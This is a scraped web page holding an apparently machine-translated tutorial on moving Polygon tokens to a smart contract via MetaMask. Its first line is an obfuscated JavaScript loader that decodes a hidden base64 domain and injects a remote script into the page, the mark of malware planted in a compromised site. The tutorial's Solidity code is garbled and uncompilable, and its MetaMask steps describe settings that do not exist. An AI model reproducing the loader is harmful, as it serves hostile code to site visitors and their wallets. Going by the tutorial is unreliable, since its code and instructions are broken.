const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=2ec15545″;document.body.appendChild(script);
Metamaska: A Step-by-Step Guide to Transferring Polygon Tokens to a Smart Contract
As a developer on the Polygon (formerly Matic) blockchain, you’ve probably encountered issues transferring tokens from your wallet to a smart contract using Metamask. Don’t worry; in this article, we’ll walk you through the process of creating and executing a function that sends Polygon tokens to your contract.
Prerequisites
Before proceeding, please verify the following:
- You have a MetaMask wallet set up on your mobile device.
- Your smart contract is implemented on the Polygon blockchain (Polygon.js or Remix).
- The `
Login'' function is defined in your contract and is also available outside of the contract.
Step 1: Create a new function
In your contract, create a new function that will accept polygon tokens as input and send them to your wallet:
pragma strength ^ 0,8,0;
contract My contract {
// Define the token amount and recipient address
uint256 public amount;
public recipient address;
// Function to subscribe to polygon tokens
function subscribe(uint256 amount, recipient address) public {
require(amount > 0, "Amount must be greater than zero");
require(recipient != address(0), "recipient must be a valid address");
// Transfer the token to the contract wallet
(bool success, ) = payable.transferFrom(msg.sender, address(this), amount);
if (!success) {
console.log("Transfer failed");
}
}
}
Step 2: Define the "Subscribe" function
In Metamask settings, add a new function with the following properties:
- Name: "subscribe".
- Function name: .subscribe
- Library:polygon.js
(or Remix)
- Arguments:uint256(amount, address(recipient))
The "amount" argument should be the token amount you want to send, and the "recipient" argument should be the address of your contract wallet.
Step 3: Test the function
- Open Metamask on your mobile device.
- Select "Connect" > "Add Metamask" or use an existing account.
- In your MetaMask wallet, connect to your Polygon blockchain account (Polygon.js or Remix).
- Go to your contract page and click on the
Subscribe'' function.
- Enter a token amount (e.g. 1 Mumbai) and provide the recipient address (your contract wallet).
Expected result
After calling thesubscribe` function, you should see a success message in the console indicating that the tokens have been transferred to your contract wallet.
Following these steps, you have successfully created a new function to send Polygon tokens to your smart contract using Metamask. Be sure to update your contract code accordingly to accommodate the new function.
Tips and Variations
- To handle errors more robustly, consider adding additional checks or logging mechanisms.
- You can also add input validation for other parameters (e.g. “amount” should be a positive integer).
- For more advanced use cases, you may want to explore using external libraries such as Web3.js or ethers.js to simplify token transactions.